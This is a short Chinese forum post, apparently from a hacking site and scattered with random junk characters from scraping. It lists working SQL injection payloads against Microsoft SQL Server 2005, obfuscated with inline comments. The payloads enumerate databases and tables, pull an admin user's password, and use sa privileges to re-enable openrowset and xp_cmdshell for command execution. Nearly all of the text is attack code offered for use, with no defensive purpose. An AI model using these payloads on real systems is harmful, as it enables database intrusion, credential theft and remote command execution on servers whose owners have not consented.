& k2 e* H. r% P8 S) O& J5 P) i& y. I
7 S: Y* s: a7 X& D% k2 W8 s& G7 P[Copy to clipboard]CODE:$ | _9 N0 d* y5 ]# S( e
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--7 t' J H) @0 h. U
! B5 I; K, Z( M爆表语句,somedb部份是所要列的数据库,红色数字1累加9 H6 p& r y& A
/ T! t8 J! f( ?2 C5 }! v5 _+ g
8 }. l) S! D; v0 Z" j, Z[Copy to clipboard]CODE:; W" ~6 J4 y# ]# Z- N
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--( u) o! u; F O$ y: ]- G
- ?* ?' |0 f7 N3 R2 h0 [
爆字段语句,爆表admin里user='icerover'的密码段
% s/ H6 f1 q. F7 V2 Y
' _8 X Z# y. k1 U
+ v% a& l$ \ ? Y0 Q5 ]" m: X- x[Copy to clipboard]CODE:( u) N' ]/ X4 h
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
8 R0 X" f+ t) o
9 u: X- U) R* G1 r2 \, Y' Bmssql2005默认没有开xp_cmdshell的,openrowset也不能用1 f2 C& r0 F' D* L9 e$ d6 j2 E2 u) b* ^
如果是sa权限,可以这样来开启) h' F/ ^# d( }# i- b* E9 `/ v
开启openrowset' j6 o7 j9 T, T3 t- k2 N
6 A3 J5 f6 x+ \+ N' {
- t. B" v, I8 l- Z @[Copy to clipboard]CODE:1 ^! U- j# J; v* g2 y1 q) ~
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
: _$ {5 M. C/ @7 _+ P/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
- |6 p% {7 s/ k; p" z4 h. J5 t; }* J1 ]
开启xp_cmdshell
2 R- R& S% r) N5 g$ ]# e) _! B' w
2 `4 D1 T' W3 P z# g, ~( s, c1 ^
[Copy to clipboard]CODE:; O6 n+ B, y: w+ q
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;-- Z! Y/ Y3 X+ b" m: d' ?
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--: T/ _& d( ~* D1 c) |# a; A
% O) n; \! u( j2 l. xok,over~~晚安6 h$ k% {! k& Z# C, k
|